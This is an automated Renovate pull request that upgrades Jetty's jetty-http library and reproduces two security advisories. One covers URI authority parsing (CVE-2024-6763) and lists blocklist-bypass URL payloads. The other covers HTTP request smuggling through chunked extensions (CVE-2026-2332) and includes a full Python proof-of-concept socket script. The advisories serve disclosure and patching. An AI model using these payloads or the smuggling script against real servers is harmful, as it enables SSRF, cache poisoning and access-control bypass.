fix(deps): update dependency org.eclipse.jetty:jetty-http to v12 [security]

[gjed]

This PR contains the following updates:

Package	Change	Age	Confidence
org.eclipse.jetty:jetty-http (source)	9.4.55.v20240627 → 12.0.12

---

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

---

Eclipse Jetty URI parsing of invalid authority

CVE-2024-6763 / GHSA-qh8g-58pp-2wxh

More information

Details

Summary

Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, HttpURI, for URI/URL parsing.

The HttpURI class does insufficient validation on the authority segment of a URI. However the behaviour of HttpURI differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically HttpURI and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks.

Details

Affected components

The vulnerable component is the HttpURI class when used as a utility class in an application. The Jetty usage of the class is not vulnerable.

Attack overview

The HttpURI class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@​hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI.

Attack scenario

A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI.

This attack occurs when the Validator is the org.eclipse.jetty.http.HttpURI class and the Requester is the Browser (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., http://browser.check%23%40vulndetector.com/ ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname vulndetector.com.

PoC

payloads:

http://browser.check &@​vulndetector.com/
http://browser.check #@​vulndetector.com/
http://browser.check?@​vulndetector.com/
http://browser.check#@​vulndetector.com/
http://vulndetector.com\\/

The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com".

<a href="http://browser.check#@&#8203;vulndetector.com/"></a>

A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid).

Invalid URI	Jetty	Chrome
http://browser.check &@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check #@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check?@​vulndetector.com/	vulndetector.com	browser.check
http://browser.check#@​vulndetector.com/	vulndetector.com	browser.check

The problem of 302 redirect parsing in HTTP 302 Location

Input	Jetty	Chrome
http://browser.check%5c/	browser.check\	browser.check

It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5].

Impact

The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to SSRF[1] and URL Redirection[2] vulnerabilities in several cases.

Mitigation

The attacks outlined above rely on decoded user data being passed to the HttpURI class. Application should not pass decoded user data as an encoded URI to any URI class/method, including HttpURI. Such applications are likely to be vulnerable in other ways.
The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per RFC9110 Section 4.2.4.

Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser).

Reference

[1] https://cwe.mitre.org/data/definitions/918.html
[2] https://cwe.mitre.org/data/definitions/601.html

Severity

• CVSS Score: 6.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

• https://github.com/jetty/jetty.project/security/advisories/GHSA-qh8g-58pp-2wxh
• https://nvd.nist.gov/vuln/detail/CVE-2024-6763
• https://github.com/jetty/jetty.project/pull/12012
• https://gitlab.eclipse.org/security/cve-assignement/-/issues/25
• https://security.netapp.com/advisory/ntap-20250306-0005
• https://github.com/advisories/GHSA-qh8g-58pp-2wxh

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-2332 / GHSA-355h-qmc2-wpwf

More information

Details

Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

• https://w4ke.info/2025/06/18/funky-chunks.html
• https://w4ke.info/2025/10/29/funky-chunks-2.html

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

Technical Details

RFC 9112 Section 7.1.1 defines chunked transfer encoding:

chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string

RFC 9110 Section 5.6.4 defines quoted-string:

quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE

A quoted-string continues until the closing DQUOTE, and \r\n sequences are not permitted within the quotes.

Vulnerability

Jetty terminates chunk header parsing at \r\n inside quoted strings instead of treating this as an error.

Expected (RFC compliant):

Chunk: 1;a="value\r\nhere"\r\n
         ^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]

Actual (jetty):

Chunk: 1;a="value
            ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request

Proof of Concept

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Result: Server returns 2 HTTP responses from a single TCP connection.

Parsing Breakdown

Parser	Request 1	Request 2
jetty (vulnerable)	POST / body="X"	GET /smuggled (SMUGGLED!)
RFC compliant	POST / body="Y"	(none - smuggled request hidden in extension)

Impact

• Request Smuggling: Attacker injects arbitrary HTTP requests
• Cache Poisoning: Smuggled responses poison shared caches
• Access Control Bypass: Smuggled requests bypass frontend security
• Session Hijacking: Smuggled requests can steal other users' responses

Reproduction

1. Start the minimal POC with docker
2. Run the poc script provided in same zip

Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

Patches

No patches yet.

Workarounds

No workarounds yet.

Severity

• CVSS Score: 7.4 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

• https://github.com/jetty/jetty.project/security/advisories/GHSA-355h-qmc2-wpwf
• https://nvd.nist.gov/vuln/detail/CVE-2026-2332
• https://gitlab.eclipse.org/security/cve-assignment/-/issues/89
• https://w4ke.info/2025/06/18/funky-chunks.html
• https://github.com/advisories/GHSA-355h-qmc2-wpwf

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Configuration

📅 Schedule: (in timezone Europe/Rome)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate.